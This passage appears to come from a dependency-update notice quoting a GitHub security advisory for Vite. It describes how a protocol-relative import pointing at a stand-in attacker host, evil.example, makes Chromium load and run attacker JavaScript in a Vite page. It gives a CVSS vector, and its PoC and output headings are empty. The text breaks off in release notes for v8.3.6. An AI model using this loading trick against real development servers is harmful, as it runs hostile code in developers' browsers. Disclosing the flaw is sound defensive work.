//tells the browser to request the module fromevil.exampleusing the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.PoC
Observed output on Vite 8.2.1:
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
vitejs/vite (vite)
v8.3.6[Compare Source](http